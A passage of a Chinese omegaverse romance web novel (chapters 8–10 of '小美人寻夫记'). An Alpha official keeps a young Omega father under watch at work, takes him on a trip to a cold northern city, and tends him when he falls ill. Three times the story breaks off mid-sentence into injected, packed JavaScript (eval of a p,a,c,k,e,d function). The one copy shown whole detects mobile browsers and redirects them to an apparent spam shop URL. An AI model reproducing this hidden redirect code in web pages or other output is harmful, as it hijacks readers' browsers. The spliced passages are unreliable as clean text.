他哭得毫无形象且投入,仿佛要把身体里所有的水分和力气,都化成眼泪流干,连带着那些说不出口的恨,怨,不甘和心碎,一起冲刷殆尽。 梁因芙哭声混杂着小宝因为害怕和不适而发出的嚎哭,形成一种凄惨又混乱的噪音。 关擎见过死人,也见过有人在他面前痛哭流涕跪地求饶。 可他不知道为什么,就是受不了梁因芙的眼泪。 一点都受不了。 那双总是瞪着他,写满警惕愤怒或嘲讽的漂亮琥珀色眼睛,此刻被泪水浸得通红,湿漉漉的像两颗被雨水打湿的琉璃。 关擎觉得那哭声比任何尖锐的警报都更让他心烦意乱,坐立难安。 他皱了皱眉,提高了声音,叫了一声:“陈伯!” 一直在不远处,因为刚才那骇人气氛而不敢上前的管家,连忙小跑过来,低着头,不敢看关擎的脸色:“先生。” 关擎将怀里还在哇哇大哭,小手小脚乱蹬的小宝,调整了一下抱姿确保不会弄疼孩子,然后递给了管家:“哄好。” 管家连忙接过哭得小脸通红的小宝,一边轻声哄着,一边快步退了出去。 然后关擎伸出手。 梁因芙被他抓住,下意识地挣扎,嘴里发出含糊带着哭腔的抗拒:“你放开我!滚开!” 可他那点力气,在关擎这个Alpha面前根本不够看。 关擎甚至没怎么用力,只是手臂一收,就将哭得浑身发软的梁因芙,轻而易举半搂半抱地圈进了自己怀里。 梁因芙整个人都陷在他宽厚结实的胸膛和手臂之间,鼻尖瞬间充斥满对方身上那股清冽混合着信息素味道极具侵略性的男性气息。 “你……混蛋!放开!” 梁因芙又惊又怒,更加用力地挣扎,拳头徒劳地捶打着关擎的胸口和肩膀,像只被困住的小兽。 关擎眉头皱得更紧,但手上力道未松,反而收紧了些,几乎是将人半抱半拖地带离了客厅,朝着一楼休息室走去。 梁因芙的脚甚至有些跟不上,踉踉跄跄,几乎是脚不沾地地被运了过去。 “砰!” 休息室的门被关擎用脚带上,隔绝了外面的声音。 他将梁因芙带进房间,松开了些力道,但依旧没有完全放开,只是将人按在了柔软的沙发里。 梁因芙一得到自由,立刻像受惊的兔子一样,猛地缩到沙发角落,抱着自己的膝盖,将脸埋了进去,肩膀依旧一抽一抽的,只是哭声变成了压抑的呜咽。 关擎站在他面前,居高临下地看着他蜷缩成一团可怜兮兮的样子,胸口那股莫名的烦闷感更重了。 他抬手有些粗暴地扯了几张茶几上的抽纸,然后弯下腰伸手试图去擦梁因芙脸上的泪痕。 “别哭了……” 他开口,无奈道,“哭有什么用?” 梁因芙猛地抬起头,一把挥开关擎伸过来的手,沾满泪水的纸巾掉在地上。 他自己抬起手,用袖子胡乱地在脸上抹着,眼睛红肿得像桃子,却依旧恶狠狠地瞪着关擎:“不用你假好心!” 关擎看着梁因芙那副拒人于千里之外,却又显得脆弱得不堪一击的模样。 真是色厉内荏。 等梁因芙的抽泣声稍微缓和了一些,不再那么激烈,关擎才重新开口。 “你刚才说的那些话,” 关擎盯着梁因芙的眼睛,不放过他脸上任何一丝细微的表情变化,“你是从哪里知道的?关于林幻真,关于孩子,还有我的事。你知不知道,知道这些对你来说很危险。” “你来这里的目的,到底是什么?接近我?还是接近林幻真?谁派你来的?” 梁因芙听着他这番审问,只觉得荒谬又可笑。 关擎可真不要脸,自己做了亏心事,现在被人知道了秘密,反而倒打一耙,怀疑他是别有用心接近他? 谁稀罕接近他。 要不是为了报复,梁因芙连看都不想多看他一眼! “说话,哭能解决问题吗?” 关擎见他只是瞪着自己不说话。 梁因芙觉得关擎真是有够贱的。 他哭怎么了?他委屈,他难过,他疼,他想哭就哭。 关擎这个始作俑者,凭什么在这里说风凉话?还一副你很麻烦的样子? 梁因芙猛地从沙发上站起来,因为动作太急,眼前还黑了一下。 他抬手,朝着关擎那张近在咫尺的俊脸狠狠地扇了过去。 “啪!” 清脆响亮的耳光声,在安静的休息室里显得格外刺耳。 关擎的脸被打得偏向一边,脸上迅速浮现出几道泛红的指印。 梁因芙力气不大,但这一巴掌用了全力,又带着满腔的恨意,打得很实,自己手都打疼了。 关擎缓慢地将脸转了回来,那双漆黑的眼眸里面翻涌着惊愕,难以置信,他活了快三十年,还从没有人敢这样扇他耳光。 梁因芙却先一步开了口,他仰着脸:“你那么怕死,应该早就把我查了个底朝天了吧?我一个从鸟不拉屎的地方来的,老公跑了,还带着孩子的Omega,能有什么背景,能是谁派来的?我看是你自己心里有鬼,看谁都像要害你!” “至于我怎么知道的?傻子才看不出来吧?你跟林先生说是夫夫,可你们连一个房间都不睡在一起,平日里客气得跟陌生人一样,我好歹也是结过婚,有过老公的人,你们那副相敬如‘冰’的样子,骗骗得过谁?” 关擎查过梁因芙,背景干净得就像一张白纸,一个可怜被抛弃的Omega,不是因为有人指使,不是因为别有用心,仅仅是因为观察得出的结论? 这个想法让关擎心里那点被冒犯的怒火,瞬间变得有些无处着落。 脸上的指印还在隐隐作痛,可他的注意力已经完全不在那一巴掌上了。 “……你跟你老公感情很好吗?” 梁因芙:“关你什么事,我跟我老公感情好不好跟你有什么关系?” 关擎被他吼得憋闷。 梁因芙这天不怕地不怕,说扇耳光就扇耳光,哭起来能淹了房子,呛起人来能噎死人的脾气,到底是怎么养出来的? 那个抛弃他的Alpha,想必也吃过不少苦头吧?不然怎么会跑? 这个念头让关擎心里那点因为被打而产生的憋闷,又诡异地淡了些,鬼使神差地顺着刚才的话题,接了下去:“你跟你老公感情也不怎么样吧?不然他干嘛离开你,还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他瞪大眼睛,难以置信地看着关擎,仿佛在看一个从精神病院跑出来的重度患者:“我跟着你上下班?工作?关擎,你是不是真的有病?谁会来收买我这么个小保姆啊?你有钱有势,盯着你的人多了去了,谁会费那个劲来撬我的嘴?你脑子是不是被驴踢了?” 他觉得关擎这个逻辑简直荒谬透顶,不可理喻。 这算什么?变相监禁? 关擎无视了他的抗议和嘲讽,看着他。 梁因芙被他看得心里发毛:“那我儿子怎么办?” 小宝因为最近长牙,牙龈发痒发胀,变得格外磨人。白天要人抱着,一刻不肯离手,晚上更是频繁夜醒,哭闹不休,把梁因芙折腾得够呛。 难不成带着这么个小祖宗去上班?简直是天方夜谭。 关擎似乎早就考虑到了这个问题:“请个育儿嫂,专业有经验的,来家里带他,钱我来出。” 梁因芙:“…………” 他彻底无语了。 给一个保姆小孩,请育儿嫂? 梁因芙觉得,关擎这个人,可能真的有那个大病而且病得不轻。 但是梁因芙心里飞快地盘算着,不用带孩子?有育儿嫂照顾小宝? 那他岂不是解放了? 带孩子真的太烦了。 虽然跟着关擎上下班,听起来也很离谱,很憋屈,但至少不用带孩子了,而且关擎说了是工作,那应该有工资吧? “……行,行吧。” 梁因芙答应得勉强。 8.小美人寻夫记(8) 关擎身居要职,看起来好像处处都需要人手。可具体安排梁因芙做什么,关擎还真有点犯难。 总不能让他真的去端茶倒水,复印文件,那跟在家里当保姆有什么区别? 可那些涉及核心文件的工作,梁因芙显然无法胜任。 最后也不知道是哪个天才想出来的主意,给梁因芙安排了一个极其清闲的岗位,在关擎办公室所在楼层的,靠近核心机要区的一个独立小隔间里担任文件管理兼内勤协调。 听起来挺像那么回事,但实际工作内容,概括起来就是:坐着。 因为大部分文件都是电子加密传输,需要人工递送的都是些级别极高,需要特殊权限和流程的纸质密件,一周也未必有一份。 而所谓的内勤协调,自然有专门的团队负责根本轮不到梁因芙。 梁因芙对这个新工作倒是颇有兴致。 第一天,他难得地起了个大早,翻出了自己唯一一件看起来比较正式的白衬衫和黑色西裤,一丝不苟地穿上,头发也仔细梳过露出光洁的额头。 他跟着关擎坐专属电梯上了楼,被带到了那个据说专属于他的小隔间。 隔间不大但很整洁,有一张宽大的实木办公桌,一把看起来很舒服的转椅,桌上摆着一台崭新的屏幕超大的电脑,旁边还放了几盆绿植。 梁因芙坐在转椅上,新奇地转了一圈,然后颇有仪式感地伸出手指,在那个看起来就很高级会发光的键盘上轻轻点了几下。 电脑屏幕亮起,显示出需要输入密码的登录界面,他又在键盘上胡乱敲了几个字母,屏幕上出现一堆乱码。 然后他就不知道接下来该干什么了。 一整个上午,除了偶尔有穿着职业套装,妆容精致的秘书姐姐从他隔间外匆匆走过,好奇地瞥他一眼之外没有任何人来找他。 没有文件需要管理,没有事务需要协调。 梁因芙起初还正襟危坐,试图从那几本摆在桌上,找点事情做。他随手拿起那本烫金封面的名人传翻了两页,密密麻麻的文字看得他头晕眼花,眼皮越来越沉。 于是在上午十点,上午十一点,以及临近午休的十一点半,梁因芙分别睡了三觉。 睡得毫无心理负担,甚至因为椅子太舒服,空调温度太适宜而睡得格外香甜深沉。 直到他是被一阵极淡熟悉的雪松混合着一点烟草的干净气息,和近在咫尺翻动书页的细微声响给弄醒的。 梁因芙迷迷糊糊地睁开眼,眼皮上还有困倦的水汽,首先映入眼帘的,是男人深色面料精良的西裤裤腿,和一双擦得锃亮的黑色皮鞋。 他顺着往上看,看到关擎不知何时进来的,就靠坐在他那张宽大的办公桌边缘。 Alpha身上穿着熨烫平整的浅灰色衬衫,此刻袖口挽到了手肘处,露出一截线条流畅,肤色健康的小臂,烟草味应该是会见了什么人沾上的。 他一只手里正拿着梁因芙上午翻了没两页,就随手丢在桌上的那本名人传,另一只手随意地搭在膝盖上,微微低着头目光落在书页上,似乎在认真阅读。 午后的阳光从巨大的落地窗外斜射进来,给关擎冷硬的侧脸轮廓镀上了一层柔和的淡金色光晕,连平日里紧抿的唇线似乎也柔和了些许。 梁因芙眨了眨眼,脑子还没完全清醒,只是呆呆地看着眼前这一幕。 关擎似乎这才察觉到他醒了,合上书,随手放回桌上,他转过头,目光落在梁因芙因为睡觉而压出几道红印,显得格外柔软懵懂的脸上:“醒了?睡得还好?” 梁因芙揉了揉被自己压得发麻的半边脸颊,含糊地“嗯”了一声。 关擎拿起那本名人传,用指尖点了点封面:“看懂了吗?” 梁因芙打了个小小的哈欠,眼角沁出一点生理性的泪水,诚实又带着点嫌弃地摇头:“看不懂,看得人想睡觉。” 岂止是想睡觉,是直接睡着了。 关擎似乎并不意外,笑了一下也没多说什么:“饿了吗?” 梁因芙摸了摸肚子,很诚实地点头。 睡了三觉早就饿了。 关擎站起身,伸手拿过搭在椅背上的深灰色西装外套,随意地搭在臂弯,对梁因芙说:“走吧,吃饭。” 梁因芙以为,像关擎这种级别的,吃饭要么是去什么私人会所,要么是高级餐厅的包厢,最不济也得是专属餐厅。 结果关擎带着他直接去了食堂。 食堂很大,窗明几净,菜品丰富,中式西式都有,价格也很亲民。这个点已经有不少人在排队打饭,看到关擎出现,都显得有些惊讶,纷纷恭敬地打招呼。 目光在关擎身后跟着的,穿着白衬衫,看起来有些局促的漂亮Omega脸上,多停留了几秒。 关擎只是微微颔首,带着梁因芙走到一个相对人少的窗口。梁因芙看着那些看起来味道还不错的家常菜,他还以为关擎官大一点,就能吃点不一样的呢。 原来就是官大一点的食堂啊。 他脸上那点细微的表情变化,没逃过关擎的眼睛。关擎端着餐盘在他对面坐下:“怎么?不合胃口?那你想吃什么?” 梁因芙撇撇嘴,小声嘟囔:“算了,我不配。” 他还以为能见识一下传说中只能私人预约的高档餐厅呢。 关擎似乎看穿了他那点小心思,拿起筷子解释道:“那种餐厅,也不是不行,不过现在是上班时间,被人看见了,容易影响不好,会让人以为我搞外遇了。” 梁因芙正在喝汤,闻言差点呛到。 现在在员工食堂,跟一个明显不是同事的漂亮Omega一起吃饭,难道就不会让人误会了吗? 梁因芙放下汤勺,拿起纸巾擦了擦嘴角:“放心,关先生,我死也不会给人当小三,我很有自知之明。” 关擎看了他一眼,没接话,只是继续吃饭。 梁因芙反正一点活也不干,他也不会。 因为关擎带他进来的时候,没明确说他的职位,只说是特殊安排,加上他整天无所事事,有人看见了,试探性地让他帮忙给关擎倒杯茶。 梁因芙想也不想,直接说:“不会。” 而且关擎根本不喝他给他的东西。 于是梁因芙就彻底放飞了。 每天按时上下班,坐在他那间舒服的小隔间里,翘着腿,用那台配置超高的工作电脑,打游戏,看小说,追剧。 偶尔困了就补个觉,反正工资照拿,又不用带孩子,关擎请了专业有经验的育儿嫂把小宝照顾得白白胖胖,作息规律,哭闹都少了很多,他乐得清闲自在。 每天下班回去,看到被育儿嫂照顾得妥妥帖帖,香香软软的小宝,梁因芙才终于体会到了有小孩的乐趣。 不用被屎尿屁和夜哭折磨,只需要在孩子醒着心情好的时候,抱着亲亲哄哄,逗他玩一会儿,享受小家伙依赖又纯真的笑容和软糯呼唤。 原来带孩子也可以这么轻松愉快。 梁因芙以前手忙脚乱,身心俱疲,完全是hard带娃模式。 公司里不明真相的人,私下里议论都以为梁因芙是关擎塞进来的,不能得罪的关系户。看他那副什么都不用干,整天摸鱼的样子,更是坐实了猜测。 但看两人平日里相处,倒也不像有什么暧昧。于是,猜测就更偏向于“亲戚家的孩子,托关擎照顾给个闲职”这类。 梁因芙对此毫不在意,甚至有点享受这种混吃等死的日子。 报复关擎的计划被他暂时抛到了脑后。 眼前这种拿着关擎的钱,在他眼皮子底下光明正大地摸鱼,还不用带娃的日子,就是一种带着点扭曲快感的报复。 再说了现在这点安逸日子,在梁因芙看来,这才到哪跟哪。跟关擎对他做过的那些事比起来,简直不值一提。 他心里的恨意并没有真正消失,只是被眼前的舒适暂时麻痹了而已。 要是梁因芙心眼再坏一点,心肠再硬一点,完全可以拿孩子跟关擎较劲。 又或者干脆直接向关擎摊牌,用孩子作为筹码,要挟他,索取补偿,甚至搅得他和林幻真不得安宁。 但梁因芙觉得没必要。他恨关擎,恨得要死,可孩子是无辜的。 他不想伤害小宝,不想让那么小的孩子,卷入大人之间的恩怨情仇,成为报复的工具,万一关擎真的想起来了,哪怕没想起来,但以他现在的权势和地位,如果知道了小宝是他的亲生儿子,一定会把孩子从他身边夺走。 他不敢赌。 所以梁因芙宁愿维持现状,维持着这份虚假的的和平。 很快林幻真坐完月子从医院回来了。 一同回来的,还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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梁因芙顺着小宝的视线看过去,还没等他反应过来,就听见身后传来沉稳的脚步声和一声淡淡的:“在说什么?” 是关擎回来了。 小宝一看到关擎,显得更兴奋了,小手朝着他的方向挥舞得更起劲,嘴里“呀呀”得更大声,黑葡萄似的大眼睛里,满是见到熟人的喜悦和依赖。 林幻真看着小宝这副模样,脸上露出温柔的笑意,轻声对关擎说:“你看,小宝很喜欢阿擎呢,一见到你就这么高兴。” 梁因芙不想让关擎和小宝有太多接触,更不想让林幻真看出什么端倪,他抱着小宝,含糊地说了一句“他该喝奶了”,就离开了客厅,往自己房间的方向快步走去。 关擎的目光一直追随着梁因芙的背影直到他消失。 林幻真将这一切尽收眼底:“没想到你喜欢小梁这样的。” 关擎:“……嘴巴那么坏,脾气又冲,谁喜欢。” 林幻真摇了摇头:“你这样也挺不招人喜欢的,阿擎你要是真想追人的话,最好先把我们之间的关系,跟人家解释清楚,否则,不清不楚的,对人家也是一种侮辱。” 他是真的有点担心关擎。 据他了解,关家这一辈的Alpha,似乎在感情方面,都或多或少有点缺根筋,要么过于霸道直接,不懂迂回,要么就像关擎这样,心思深沉,却又在情感表达上笨拙别扭,容易把事情搞砸。 关擎说:“他知道。” “嗯?” 林幻真愣了一下,没明白,“知道什么?” “知道我们的事。” 关擎说,“他观察出来的,他说,傻子才看不出来我们不是真夫夫。” 林幻真这回是真的惊讶了:“他看出来的?” 他和关擎自认为伪装得很好。 关擎点了点头:“大嫂,你说他是不是对我也挺有意思的?不然,他怎么会观察得这么仔细?” 林幻真:“…………” 他看着关擎那张难得显得有点呆的俊脸,一时之间竟不知该说什么好。 林幻真委婉地建议道:“我觉得,你还是直接去问他本人,比较靠谱。” 关擎:“不要,会被扇耳光。” 林幻真:“…………” 小梁那脾气是真够辣的。 9.小美人寻夫记(9) 林幻真没有打击关擎这份积极性。 只是他看到关擎提起小梁时,脸上那副蠢蠢欲动的神情真是很有意思。 但是目前似乎只是关擎单方面还没理清头绪的热度。 人家小梁对他是什么态度?讨厌又排斥。 林幻真觉得,看梁因芙平时对关擎那副横眉冷对,能呛一句绝不少半句,甚至敢动手的架势,喜欢的可能性似乎不大。 更何况人家小梁还带着个孩子。 那段他和他老公过往,显然不是能轻易揭过的伤疤,关擎若真想有什么,这横亘在两人之间的过去和孩子,就是两道鸿沟。 关擎似乎还没完全意识到这其中的复杂性。 林幻真之所以劝关擎一定要讲清楚,是有原因的。 当初关擎的哥哥,追求他的时候,内敛又沉默是金,从不把喜欢和爱挂在嘴边,只是默默地在背后安排好一切,为他扫平障碍,给予他最大限度的尊重和自由,却从不明说自己的心意。 直到两家正式定下婚期,林幻真都还一直以为,这只是一场纯粹基于家族利益的联姻,对方对他大概也只是责任和合适而已。 直到婚后很久,林幻真才从一些细枝末节和旁人的只言片语中,拼凑出丈夫那份深藏心底无比真挚的情意。 可那时木已成舟,许多话错过了最好的时机,再说出口总觉得隔了一层。 虽然他们后来感情很好,丈夫对他也是呵护备至,但林幻真心里始终有那么一点小小的遗憾,如果当初他能多说一句,能更明确地表达,或许他们的开始会更甜蜜,也更少一些彼此试探的忐忑和不确定。 关擎和他哥哥在某些方面简直是一模一样。 外表看起来冷静理智,甚至有些冷漠,不近人情,可一旦动了心,那点心思就藏得极深,表达方式也笨拙得让人着急,把人绑在身边,实则谁知道心里打着什么算盘。 林幻真怕关擎也走了他哥哥的老路,因为不会表达,而把小梁越推越远,也造成更深的误解和伤害。 想到这里林幻真的眼神不由得暗了暗,他轻轻抚摸着自己无名指上那枚简单的婚戒。 丈夫已经失踪很久了,音讯全无,生不见人,死不见尸。 关家动用了所有能用的力量去寻找却始终没有确切的消息。 林幻真不敢去想那个最坏的结果,只能将那份巨大的恐惧和思念,在心中默默地一遍遍地祈祷。 祈祷丈夫能有一日平安回来,回到他和孩子身边。 上了快半个月的班之后,这天关擎又恰好晃悠到他那个小隔间门口。 梁因芙抬起那张因为最近不用带娃,作息规律而显得气色好了不少,透出点红润光泽的脸。 他用那双漂亮的琥珀色眼睛,斜睨着靠在门框上的关擎,语气带着点故意的挑衅:“我说关先生,您这都观察我快半个月了,看出什么来了没有?我到底是哪里派来的间谍?还是哪个政敌安插的卧底?您给个准话呗?我这天天拿着薪水不干活,心里怪不踏实的。” 他这话说得阴阳怪气。 关擎能说什么?这当初本来就是为了防止梁因芙泄露秘密,又暂时找不到合适安置方法,随口扯的一个借口而已。 这半个月梁因芙除了睡觉,打游戏,看小说,就是到点吃饭,偶尔赏脸跟他一起吃,活脱脱一个毫无事业心的关系户。 观察? 关擎是观察梁因芙游戏水平不错,还是观察他看小说喜欢看狗血虐恋还是家长里短? 关擎:“这么短的时间,能观察出什么?你难道不知一个优秀的间谍可以在敌方阵营里伪装潜伏十年,甚至十几年都不暴露身份吗?” 梁因芙:“……关总,您还真是看得起我。” 梁因芙要是有那个魄力有那个本事,见到关擎的第一面,就应该把他的脸摁在地上摩擦,而不是在这里跟他废话。 没过几日关擎临时有个重要的外差,需要去北方一个以寒冷闻名的工业城市处理一项棘手的事。 行程匆忙需要去三四天。 临行前关擎把梁因芙叫到办公室,对他说:“收拾一下,明天跟我一起出差。” 梁因芙正琢磨着这周末带小宝去哪里玩,闻言一愣,随即想也不想就拒绝:“不去,我又不懂你们那些工作,我去干嘛?当摆设?你在办公室观察还不够,还得跟到外地去?” “你要不换个人监视我吧?找个专业的保镖什么的,不用你亲自盯着,多累啊。” 梁因芙巴不得关擎赶紧走,他好清静几天。 关擎坐在宽大的办公桌后开口说:“不行。” 梁因芙胸口一堵,又想一巴掌扇过去了。 这人是有什么毛病?出个差还要把他这个可疑分子拴在裤腰带上?是怕他跑了,还是怕他趁他不在把他的秘密卖给对家? 梁因芙握紧了拳头,行,忍了。 关擎出外差的那个地方以寒冷著称。 走之前关擎好心地提醒了梁因芙一句:“那边气温低,多带几件厚衣服。” 梁因芙当时没太在意。他翻出了自己行李箱里最厚的一件外套,加绒夹克,随手塞进了行李箱。 他心想能有多冷? 结果飞机一落地,舱门打开,一股裹挟着冰碴子干燥凛冽的寒风,如同无数把小刀子,瞬间劈头盖脸地刮了过来。 梁因芙穿着的加绒夹克里面只有一件单薄的毛衣,被这股寒气一激整个人猛地打了个哆嗦,从头发丝到脚趾尖瞬间冻透了。 寒气无孔不入地钻进衣服缝隙。 他跟在关擎身后,拖着行李箱,走在空旷的机场廊桥上,只觉得每一步都像踩在冰面上,冷得他恨不得把自己缩成一团。 鼻尖和耳朵很快就冻得通红,手指也僵硬得不听使唤。 反观走在前面的关擎,穿着剪裁合体的深灰色长款羊毛大衣外面套着件羽绒服。 梁因芙看着他那副风度翩翩的样子,再看看自己冻得跟鹌鹑似的狼狈相,心里又气又委屈,他咬着牙,硬撑着不想在关擎面前露怯,可身体却诚实地瑟瑟发抖。 关擎似乎察觉到了身后的动静,停下脚步,转过身。 他看到梁因芙冻得小脸发白,整个人缩在那件明显不顶用的夹克里,三两下将身上那件厚重保暖带着他体温的长款羽绒服脱了下来,手臂一展,不由分说地披在了梁因芙僵硬冰冷的肩膀上,将人整个裹住。 带着男人体温和清冽气息的暖意,瞬间将梁因芙包围。 那羽绒服又大又长,几乎将梁因芙整个人都罩了进去,只露出一个冻得通红的小脸。 骤然的暖意让梁因芙僵硬的身体找回了一点知觉。 关擎看着他被自己的衣服裹得严严实实,只露出一双湿漉漉带着惊愕和茫然的漂亮眼睛的模样,眼神深了深,但很快移开,语气依旧是那种带着点嫌弃的调子:“真是臭美,这下知道厉害了吧。” 梁因芙正沉浸在突如其来的温暖里,他想辩解,他不是臭美,只是真的没有更厚的衣服了。 在镇子里冬天最冷的时候,一件厚夹克也够用了。 梁因芙哪里知道,还有冬天是这种能把人骨头都冻酥的干冷。 可看着关擎身上只剩下看起来就很单薄的羊毛大衣,他低下头,将脸往那还残留着关擎体温柔软的羽绒服领口里更深地埋了埋。 算了。 关擎说他两句就说两句吧。 至少现在暖和了。 入住到下榻的酒店,暖气开得很足,与室外的冰天雪地形成了两个截然不同的世界。 一进房间梁因芙就把自己脱得只剩下最贴身的衣物,然后飞快地钻进柔软的被窝,把自己严严实实地裹成了一个茧,只露出一点毛茸茸的头顶一步都不想下床。 Omega的体质,天生就要比Alpha虚弱一些,对环境的适应能力也更差。 加上梁因芙生小宝的时候年纪小,虽然恢复快,但是医疗条件有限的地方,产后没有得到很好的调理,气血一直都没有恢复好,身体底子本就偏虚。 结果连关擎都没有想到,梁因芙就只是在机场廊桥,从航站楼到上车那段路上,冻了那么一小会儿,当天晚上就真的生病了。 起初只是觉得有点头晕,鼻子不通气,梁因芙以为就是普通的着凉,没在意,早早睡了。 可到了后半夜,就开始发烧,烧得脸颊通红,浑身滚烫,意识也变得模糊起来,在厚厚的被子里不停地发着抖,嘴里发出含糊不清的呓语。 关擎半夜被隔壁房间隐约传来压抑的呻吟声惊醒,过去一看,才发现人已经烧得不成样子了。 他立刻叫了酒店医生,又连夜把人送到了当地的医院。 一检查,医生就说是急性的重感冒引发的高烧,但因为病人本身气血有些亏虚,体质偏弱,底子不好,所以这场病来得格外气势汹汹,体温一度飙升到接近四十度,很危险。 关擎听着医生的诊断,看着里面病床上那个蜷缩成一团,脸色潮红显得异常脆弱的身影,心里内疚爆棚。 他本意真的不是想把梁因芙折腾病。 带他出来,有点私心。 关擎听人提过,这个城市虽然冷,但冬天的雪景很有名,附近还有个很不错的温泉度假村。 可没想到,人是带来了,却直接躺进了医院。 看着梁因芙生病难受的样子,关擎胸口烦闷得让有些无所适从。 第二天,关擎原本安排了重要的活动需要出席。他匆匆赶完甚至没参加后续的晚宴,就提前离场,让司机直接开往医院。 冬夜天黑得早,街道上覆盖着厚厚的积雪,路灯在寒风中显得格外孤寂。 赶到医院时梁因芙正窝在病床上打点滴。 他穿着宽大蓝白条纹的病号服,衬得那张脸更加小巧苍白。鼻子红红的,昨晚反反复复地烧,把他折腾得够呛,此刻体温总算是降下去了,但人还是蔫蔫的,没什么精神,闭着眼睛,似乎睡着了,但眉头依旧微微蹙着。 关擎放轻脚步,走到床边,他脱掉被室外寒气浸染得有些冰凉的手套,随手放在床头柜上,然后在床边的椅子上坐下。 他犹豫了一下还是伸出手,用手背轻轻地贴了贴梁因芙的额头。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239476|197647||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 触手一片温热,不再是昨晚那种滚烫,但温度依然比正常偏高还有虚汗的微湿。 梁因芙应该是被这触碰惊动了,意识不太清醒,睫毛颤动了几下,没有睁开眼,却伸出那只没有被打点滴的手,在空中摸索了一下,然后准确无误地抓住了关擎还没来得及收回去的手掌。 他的手指很细,因为生病而没什么力气,带着一种依赖的力道攥住了关擎的手指。 掌心滚烫,皮肤相贴的地方,传来不正常的体温。 然后关擎听见梁因芙用带着浓重鼻音,沙哑又软糯,完全不似平日呛人语调的声音含糊地呢喃道:“老公……我难受……” 生病的梁因芙完全不是平日里那个张牙舞爪,浑身是刺,说话能噎死人的小辣椒模样。 他变得异常的脆弱,苍白,柔软,像一朵被霜打过,蔫嗒嗒的花。 又像一只离了巢找不到方向只能无助依赖着唯一热源的小兽。 关擎知道梁因芙这是烧糊涂了,认错人了,把他当成前夫了。 关擎的心有些发闷,又有些说不出的复杂滋味。 他看着梁因芙紧握着自己的手,和那因为生病烧得红润的嘴唇,沉默了几秒,将自己的手抽出来,想把梁因芙那只滚烫的手塞回被子里免得着凉。 可梁因芙偏偏不依。 感觉到关擎要抽手,他攥得更紧了,甚至用上了点力气,嘴里又开始断断续续地带着哭腔地念叨起来:“老公,我难受死了……头好痛,身上也痛……我是不是……要死掉了……” 那语调充满了孩子气的委屈和恐惧,仿佛真的以为自己快要不行了。 关擎的心一紧,他看着梁因芙紧闭的眼角沁出了一点湿润的痕迹。 关擎低下头,用另一只空着的手轻轻捧住了梁因芙湿润的脸颊:“不会死的,别胡说。” 他的手掌宽大,带着一层薄茧,但动作是前所未有的轻柔仿佛捧着什么易碎的珍宝。 梁因芙似乎感受到触碰和声音,他闭着眼睛,在关擎掌心蹭了蹭,用更轻更依赖的声音,含糊带着撒娇般的委屈:“老公,你抱抱我……我好冷……” 关擎整个人都因为这句话僵了一下。 抱抱梁因芙? 他看着病床上那个因为高烧和不适而显得异常脆弱毫无防备的Omega,看着梁因芙紧紧抓着自己不放的手。 梁因芙没有得到回应,似乎更加委屈,又有新的泪珠滚落,顺着关擎的指缝滑下。 Omega嘴里又开始断断续续地带着哭腔地念叨:“老公……你是不是不要我了……是不是嫌我麻烦……” 关擎松开了捧着梁因芙脸颊的手,然后他掀开梁因芙身上的被子一角,自己侧身,躺了上去,小心翼翼地避开了梁因芙打着点滴的那只手。 他伸出胳膊,将梁因芙微微发抖,蜷缩成一团的身体,搂进了自己怀里。 梁因芙的骨架小,生病了更是没什么重量,关擎轻易就被他圈住。 关擎把他那只打着点滴的手,小心地放在两人身体之间,用自己的手臂和身体护着,防止他乱动碰到针头。另一只手则环过他的腰背,将他更紧密地贴向自己温热的胸膛。 突然被拥入一个坚实温暖的怀抱,梁因芙闻到了熟悉令他安心的信息素味道,紧绷的身慢慢一点点地放松了下来。 他将脸埋在关擎的颈窝处,似乎也舒展开了一些,嘴里不再发出痛苦的呓语,呼吸也渐渐变得平稳悠长。 梁因芙像是找到了最安全的港湾,在药物的作用和这令人安心的怀抱里,沉沉睡了过去。 关擎维持着这个姿势,一动不动,感受着怀里梁因芙均匀带着细微鼻音的呼吸。 梁因芙柔软的发丝,蹭在他的下巴和颈侧,带来一阵细微的痒意。Omega身上混合着药味和一点干净好闻的木芙蓉气息的信息素,充斥在他的鼻尖。 关擎低下头看着怀里人沉静的睡颜,长长的睫毛在苍白的皮肤上投下扇形的阴影,因为生病而显得格外柔软无害。 窗外是凛冽的暴风雨。 关擎的眼神是前所未有的复杂和迷茫。 他就这样抱着梁因芙,直到手臂有些发麻也没有动一下。 梁因芙醒来的时候,是被窗外透进来清冷明亮的天光给晃醒的。 他迷迷糊糊地睁开眼,首先感觉到的是脑袋还有些昏沉,但身上那种难熬的酸痛和高热感消退了不少。 然后他就感觉到了不对劲。 梁因芙发现自己以一种极其亲密的姿势,侧躺着,双手无意识地缩在胸前,整个人蜷缩在一个温暖坚实的怀抱里。 鼻尖萦绕的是熟悉Alpha信息素,以及属于成年男性沉稳有力的心跳声。 梁因芙:“…………” 他眨了眨眼,又眨了眨眼,抬起头。 首先映入眼帘是一个线条清晰冷硬的下颌和微微凸起性感的喉结。 再往上,是紧抿显得有些疲惫的薄唇,挺直的鼻梁,和那双此刻正静静垂着,掩去了所有情绪还在沉睡中紧闭的眼睛。 于是乎关擎大清早地又挨了一巴掌。 10.小美人寻夫记(10) 关擎被这突如其来清脆响亮的一巴掌,扇得整个人都愣住了。 